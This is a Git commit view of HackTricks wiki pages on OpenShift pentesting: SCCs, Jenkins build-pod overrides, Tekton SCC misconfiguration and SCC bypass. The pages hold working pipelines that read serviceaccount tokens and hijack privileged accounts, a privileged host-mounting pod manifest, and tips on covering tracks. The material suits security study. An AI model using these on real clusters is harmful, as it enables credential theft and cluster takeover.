gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2025-12-23 07:29:04 -08:00
Code Issues Packages Projects Releases Wiki Activity

Recreating repository history for branch master

Browse Source
This commit is contained in:
Carlos Polop
2024-12-12 19:35:48 +01:00
commit 5ef56bb6b3
1076 changed files with 67158 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

19
pentesting-cloud/openshift-pentesting/README.md Normal file
View File

@@ -0,0 +1,19 @@
# OpenShift Pentesting
## Basic Information
{% content-ref url="openshift-basic-information.md" %}
[openshift-basic-information.md](openshift-basic-information.md)
{% endcontent-ref %}
## Security Context Constraints
{% content-ref url="openshift-scc.md" %}
[openshift-scc.md](openshift-scc.md)
{% endcontent-ref %}
## Privilege Escalation
{% content-ref url="openshift-privilege-escalation/" %}
[openshift-privilege-escalation](openshift-privilege-escalation/)
{% endcontent-ref %}

36
pentesting-cloud/openshift-pentesting/openshift-basic-information.md Normal file
View File

@@ -0,0 +1,36 @@
# OpenShift - Basic information
## Kubernetes prior b**asic knowledge** <a href="#a94e" id="a94e"></a>
Before working with OpenShift, ensure you are comfortable with the Kubernetes environment. The entire OpenShift chapter assumes you have prior knowledge of Kubernetes.
## OpenShift - Basic Information
### Introduction
OpenShift is Red Hat’s container application platform that offers a superset of Kubernetes features. OpenShift has stricter security policies. For instance, it is forbidden to run a container as root. It also offers a secure-by-default option to enhance security. OpenShift, features an web console which includes a one-touch login page.
#### CLI
OpenShift come with a it's own CLI, that can be found here:
{% embed url="https://docs.openshift.com/container-platform/4.11/cli_reference/openshift_cli/getting-started-cli.html" %}
To login using the CLI:
```bash
oc login -u=<username> -p=<password> -s=<server>
oc login -s=<server> --token=<bearer token>
```
### **OpenShift - Security Context Constraints** <a href="#a94e" id="a94e"></a>
In addition to the [RBAC resources](https://docs.openshift.com/container-platform/3.11/architecture/additional\_concepts/authorization.html#architecture-additional-concepts-authorization) that control what a user can do, OpenShift Container Platform provides _security context constraints_ (SCC) that control the actions that a pod can perform and what it has the ability to access.
SCC is a policy object that has special rules that correspond with the infrastructure itself, unlike RBAC that has rules that correspond with the Platform. It helps us define what Linux access-control features the container should be able to request/run. Example: Linux Capabilities, SECCOMP profiles, Mount localhost dirs, etc.
{% content-ref url="openshift-scc.md" %}
[openshift-scc.md](openshift-scc.md)
{% endcontent-ref %}
{% embed url="https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#security-context-constraints" %}

39
pentesting-cloud/openshift-pentesting/openshift-jenkins/README.md Normal file
View File

@@ -0,0 +1,39 @@
# OpenShift - Jenkins
**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/)
This page gives some pointers onto how you can attack a Jenkins instance running in an Openshift (or Kubernetes) cluster
## Disclaimer
A Jenkins instance can be deployed in both Openshift or Kubernetes cluster. Depending in your context, you may need to adapt any shown payload, yaml or technique. For more information about attacking Jenkins you can have a look at [this page](../../../pentesting-ci-cd/jenkins-security/)
## Prerequisites
1a. User access in a Jenkins instance OR 1b. User access with write permission to an SCM repository where an automated build is triggered after a push/merge
## How it works
Fundamentally, almost everything behind the scenes works the same as a regular Jenkins instance running in a VM. The main difference is the overall architecture and how builds are managed inside an openshift (or kubernetes) cluster.
### Builds
When a build is triggered, it is first managed/orchestrated by the Jenkins master node then delegated to an agent/slave/worker. In this context, the master node is just a regular pod running in a namespace (which might be different that the one where workers run). The same applies for the workers/slaves, however they destroyed once the build finished whereas the master always stays up. Your build is usually run inside a pod, using a default pod template defined by the Jenkins admins.
### Triggering a build
You have multiples main ways to trigger a build such as:
1. You have UI access to Jenkins
A very easy and convenient way is to use the Replay functionality of an existing build. It allows you to replay a previously executed build while allowing you to update the groovy script. This requires privileges on a Jenkins folder and a predefined pipeline. If you need to be stealthy, you can delete your triggered builds if you have enough permission.
2. You have write access to the SCM and automated builds are configured via webhook
You can just edit a build script (such as Jenkinsfile), commit and push (eventually create a PR if builds are only triggered on PR merges). Keep in mind that this path is very noisy and need elevated privileges to clean your tracks.
## Jenkins Build Pod YAML override
{% content-ref url="openshift-jenkins-build-overrides.md" %}
[openshift-jenkins-build-overrides.md](openshift-jenkins-build-overrides.md)
{% endcontent-ref %}

274
pentesting-cloud/openshift-pentesting/openshift-jenkins/openshift-jenkins-build-overrides.md Normal file
View File

@@ -0,0 +1,274 @@
# Jenkins in Openshift - build pod overrides
**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/)
## Kubernetes plugin for Jenkins
This plugin is mostly responsible of Jenkins core functions inside an openshift/kubernetes cluster. Official documentation [here](https://plugins.jenkins.io/kubernetes/)
It offers a few functionnalities such as the ability for developers to override some default configurations of a jenkins build pod.
## Core functionnality
This plugin allows flexibility to developers when building their code in adequate environment.
```groovy
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}
```
## Some abuses leveraging pod yaml override
It can however be abused to use any accessible image such as Kali Linux and execute arbritrary commands using preinstalled tools from that image.
In the example below we can exfiltrate the serviceaccount token of the running pod.
```groovy
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}
```
A different synthax to achieve the same goal.
```groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
```
Sample to override the namespace of the pod
```groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
```
Another example which tries mounting a serviceaccount (which may have more permissions than the default one, running your build) based on its name. You may need to guess or enumerate existing serviceaccounts first.
```groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
```
The same technique applies to try mounting a Secret. The end goal here would be to figure out how to configure your pod build to effectively pivot or gain privileges.
## Going further
Once you get used to play around with it, use your knowledge on Jenkins and Kubernetes/Openshift to find misconfigurations / abuses.
Ask yourself the following questions:
- Which service account is being used to deploy build pods?
- What roles and permissions does it have? Can it read secrets of the namespace I am currently in?
- Can I further enumerate other build pods?
- From a compromised sa, can I execute commands on the master node/pod?
- Can I further enumerate the cluster to pivot elsewhere?
- Which SCC is applied?
You can find out which oc/kubectl commands to issue [here](../openshift-basic-information.md) and [here](../../kubernetes-security/kubernetes-enumeration.md).
### Possible privesc/pivoting scenarios
Let's assume that during your assessment you found out that all jenkins builds run inside a namespace called _worker-ns_. You figured out that a default serviceaccount called _default-sa_ is mounted on the build pods, however it does not have so many permissions except read access on some resources but you were able to identify an existing service account called _master-sa_.
Let's also assume that you have the oc command installed inside the running build container.
With the below build script you can take control of the _master-sa_ serviceaccount and enumerate further.
```groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}
```
Depending on your access, either you need to continue your attack from the build script or you can directly login as this sa on the running cluster:
```bash
oc login --token=$token --server=https://apiserver.com:port
```
If this sa has enough permission (such as pod/exec), you can also take control of the whole jenkins instance by executing commands inside the master node pod, if it's running within the same namespace. You can easily identify this pod via its name and by the fact that it must be mounting a PVC (persistant volume claim) used to store jenkins data.
```bash
oc rsh pod_name -c container_name
```
In case the master node pod is not running within the same namespace as the workers you can try similar attacks by targetting the master namespace. Let's assume its called _jenkins-master_. Keep in mind that serviceAccount master-sa needs to exist on the _jenkins-master_ namespace (and might not exist in _worker-ns_ namespace)
```groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: jenkins-master
spec:
serviceAccount: master-sa
containers:
- name: evil-build
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

19
pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/README.md Normal file
View File

@@ -0,0 +1,19 @@
# OpenShift - Privilege Escalation
## Missing Service Account
{% content-ref url="openshift-missing-service-account.md" %}
[openshift-missing-service-account.md](openshift-missing-service-account.md)
{% endcontent-ref %}
## Tekton
{% content-ref url="openshift-tekton.md" %}
[openshift-tekton.md](openshift-tekton.md)
{% endcontent-ref %}
## SCC Bypass
{% content-ref url="openshift-scc-bypass.md" %}
[openshift-scc-bypass.md](openshift-scc-bypass.md)
{% endcontent-ref %}

21
pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md Normal file
View File

@@ -0,0 +1,21 @@
# OpenShift - Missing Service Account
## Missing Service Account
It happens that cluster is deployed with preconfigured template automatically setting Roles, RoleBindings and even SCC to service account that is not yet created. This can lead to privilege escalation in the case where you can create them. In this case, you would be able to get the token of the SA newly created and the role or SCC associated. Same case happens when the missing SA is part of a missing project, in this case if you can create the project and then the SA you get the Roles and SCC associated.
<figure><img src="../../../.gitbook/assets/openshift-missing-service-account-image1.png" alt=""><figcaption></figcaption></figure>
In the previous graph we got multiple AbsentProject meaning multiple project that appears in Roles Bindings or SCC but are not yet created in the cluster. In the same vein we also got an AbsentServiceAccount.
If we can create a project and the missing SA in it, the SA will inherited from the Role or the SCC that were targeting the AbsentServiceAccount. Which can lead to privilege escalation.
The following example show a missing SA which is granted node-exporter SCC:
<figure><img src="../../../.gitbook/assets/openshift-missing-service-account-image2.png" alt=""><figcaption></figcaption></figure>
## Tools
The following tool can be use to enumerate this issue and more generally to graph an OpenShift cluster:
{% embed url="https://github.com/maxDcb/OpenShiftGrapher" %}

138
pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md Normal file
View File

@@ -0,0 +1,138 @@
# Openshift - SCC bypass
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## Privileged Namespaces
By default, SCC does not apply on following projects :
* **default**
* **kube-system**
* **kube-public**
* **openshift-node**
* **openshift-infra**
* **openshift**
If you deploy pods within one of those namespaces, no SCC will be enforced, allowing for the deployment of privileged pods or mounting of the host file system.
## Namespace Label
There is a way to disable the SCC application on your pod according to RedHat documentation. You will need to have at least one of the following permission :
* Create a Namespace and Create a Pod on this Namespace
* Edit a Namespace and Create a Pod on this Namespace
```bash
$ oc auth can-i create namespaces
yes
$ oc auth can-i patch namespaces
yes
```
The specific label`openshift.io/run-level` enables users to circumvent SCCs for applications. As per RedHat documentation, when this label is utilized, no SCCs are enforced on all pods within that namespace, effectively removing any restrictions.
<figure><img src="../../../.gitbook/assets/Openshift-RunLevel4.png" alt=""><figcaption></figcaption></figure>
## Add Label
To add the label in your namespace :
```bash
$ oc label ns MYNAMESPACE openshift.io/run-level=0
```
To create a namespace with the label through a YAML file:
```yaml
apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0
```
Now, all new pods created on the namespace should not have any SCC
<pre class="language-bash"><code class="lang-bash"><strong>$ oc get pod -o yaml | grep 'openshift.io/scc'
</strong><strong>$
</strong></code></pre>
In the absence of SCC, there are no restrictions on your pod definition. This means that a malicious pod can be easily created to escape onto the host system.
```yaml
apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:
```
Now, it has become easier to escalate privileges to access the host system and subsequently take over the entire cluster, gaining 'cluster-admin' privileges. Look for **Node-Post Exploitation** part in the following page :
{% content-ref url="../../kubernetes-security/attacking-kubernetes-from-inside-a-pod.md" %}
[attacking-kubernetes-from-inside-a-pod.md](../../kubernetes-security/attacking-kubernetes-from-inside-a-pod.md)
{% endcontent-ref %}
### Custom labels
Furthermore, based on the target setup, some custom labels / annotations may be used in the same way as the previous attack scenario. Even if it is not made for, labels could be used to give permissions, restrict or not a specific resource.
Try to look for custom labels if you can read some resources. Here a list of interesting resources :
* Pod
* Deployment
* Namespace
* Service
* Route
```bash
$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5
```
## List all privileged namespaces
```bash
$ oc get project -o yaml | grep 'run-level' -b5
```
## Advanced exploit
In OpenShift, as demonstrated earlier, having permission to deploy a pod in a namespace with the `openshift.io/run-level`label can lead to a straightforward takeover of the cluster. From a cluster settings perspective, this functionality **cannot be disabled**, as it is inherent to OpenShift's design.
However, mitigation measures like **Open Policy Agent GateKeeper** can prevent users from setting this label.
To bypass GateKeeper's rules and set this label to execute a cluster takeover, **attackers would need to identify alternative methods.**
## References
* [https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html](https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html)
* [https://docs.openshift.com/container-platform/3.11/admin\_guide/manage\_scc.html](https://docs.openshift.com/container-platform/3.11/admin\_guide/manage\_scc.html)
* [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)

82
pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-tekton.md Normal file
View File

@@ -0,0 +1,82 @@
---
description: >-
This page shows a privilege escalation scenario given that tekton is installed
in the cluster and that you can create a namespace (sometimes edit rights are
enough)
---
# OpenShift - Tekton
**The original author of this page is** [**Haroun**](https://www.linkedin.com/in/haroun-al-mounayar-571830211)
### What is tekton
According to the doc: _Tekton is a powerful and flexible open-source framework for creating CI/CD systems, allowing developers to build, test, and deploy across cloud providers and on-premise systems._ Both Jenkins and Tekton can be used to test, build and deploy applications, however Tekton is Cloud Native.&#x20;
With Tekton everything is represented by YAML files. Developers can create Custom Resources (CR) of type `Pipelines` and specify multiple `Tasks` in them that they want to run. To run a Pipeline resources of type `PipelineRun` must be created.
When tekton is installed a service account (sa) called pipeline is created in every namespace. When a Pipeline is ran, a pod will be spawned using this sa called `pipeline` to run the tasks defined in the YAML file.
{% embed url="https://tekton.dev/docs/getting-started/pipelines/" %}
Tekton Doc about Pipelines
{% endembed %}
### The Pipeline service account capabilities
By default, the pipeline service account can use the `pipelines-scc` capability. This is due to the global default configuration of tekton. Actually, the global config of tekton is also a YAML in an openshift object called `TektonConfig` that can be seen if you have some reader roles in the cluster.
```yaml
apiVersion: operator.tekton.dev/v1alpha1
kind: TektonConfig
metadata:
name: config
spec:
...
...
platforms:
openshift:
scc:
default: "pipelines-scc"
```
In any namespace, if you can get the pipeline service account token you will be able to use `pipelines-scc`.
### The Misconfig
The problem is that the default scc that the pipeline sa can use is user controllable. This can be done using a label in the namespace definition. For instance, if I can create a namespace with the following yaml definition:
```yaml
apiVersion: v1
kind: Namespace
metadata:
name: test-namespace
annotations:
operator.tekton.dev/scc: privileged
```
The tekton operator will give to the pipeline service account in `test-namespace` the ability to use the scc privileged. This will allow the mounting of the node.
### The fix
Tekton documents about how to restrict the override of scc by adding a label in the `TektonConfig` object.
{% embed url="https://tekton.dev/docs/operator/sccconfig/" %}
Tekton doc about scc
{% endembed %}
This label is called `max-allowed`&#x20;
```yaml
apiVersion: operator.tekton.dev/v1alpha1
kind: TektonConfig
metadata:
name: config
spec:
...
...
platforms:
openshift:
scc:
default: "restricted-v2"
maxAllowed: "privileged"
```

68
pentesting-cloud/openshift-pentesting/openshift-scc.md Normal file
View File

@@ -0,0 +1,68 @@
# Openshift - SCC
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## Definition
In the context of OpenShift, SCC stands for **Security Context Constraints**. Security Context Constraints are policies that control permissions for pods running on OpenShift clusters. They define the security parameters under which a pod is allowed to run, including what actions it can perform and what resources it can access.
SCCs help administrators enforce security policies across the cluster, ensuring that pods are running with appropriate permissions and adhering to organizational security standards. These constraints can specify various aspects of pod security, such as:
1. Linux capabilities: Limiting the capabilities available to containers, such as the ability to perform privileged actions.
2. SELinux context: Enforcing SELinux contexts for containers, which define how processes interact with resources on the system.
3. Read-only root filesystem: Preventing containers from modifying files in certain directories.
4. Allowed host directories and volumes: Specifying which host directories and volumes a pod can mount.
5. Run as UID/GID: Specifying the user and group IDs under which the container process runs.
6. Network policies: Controlling network access for pods, such as restricting egress traffic.
By configuring SCCs, administrators can ensure that pods are running with the appropriate level of security isolation and access controls, reducing the risk of security vulnerabilities or unauthorized access within the cluster.
Basically, every time a pod deployment is requested, an admission process is executed as the following:
<figure><img src="../../.gitbook/assets/Managing SCCs in OpenShift-1.png" alt=""><figcaption></figcaption></figure>
This additional security layer by default prohibits the creation of privileged pods, mounting of the host file system, or setting any attributes that could lead to privilege escalation.
{% content-ref url="../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md" %}
[pod-escape-privileges.md](../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md)
{% endcontent-ref %}
## List SCC
To list all the SCC with the Openshift Client :
```bash
$ oc get scc #List all the SCCs
$ oc auth can-i --list | grep securitycontextconstraints #Which scc user can use
$ oc describe scc $SCC #Check SCC definitions
```
All users have access the default SCC "**restricted**" and "**restricted-v2**" which are the strictest SCCs.
## Use SCC
The SCC used for a pod is defined inside an annotation :
```bash
$ oc get pod MYPOD -o yaml | grep scc
openshift.io/scc: privileged
```
When a user has access to multiple SCCs, the system will utilize the one that aligns with the security context values. Otherwise, it will trigger a forbidden error.
```bash
$ oc apply -f evilpod.yaml #Deploy a privileged pod
Error from server (Forbidden): error when creating "evilpod.yaml": pods "evilpod" is forbidden: unable to validate against any security context constrain
```
## SCC Bypass
{% content-ref url="openshift-privilege-escalation/openshift-scc-bypass.md" %}
[openshift-scc-bypass.md](openshift-privilege-escalation/openshift-scc-bypass.md)
{% endcontent-ref %}
## References
* [https://www.redhat.com/en/blog/managing-sccs-in-openshift](https://www.redhat.com/en/blog/managing-sccs-in-openshift)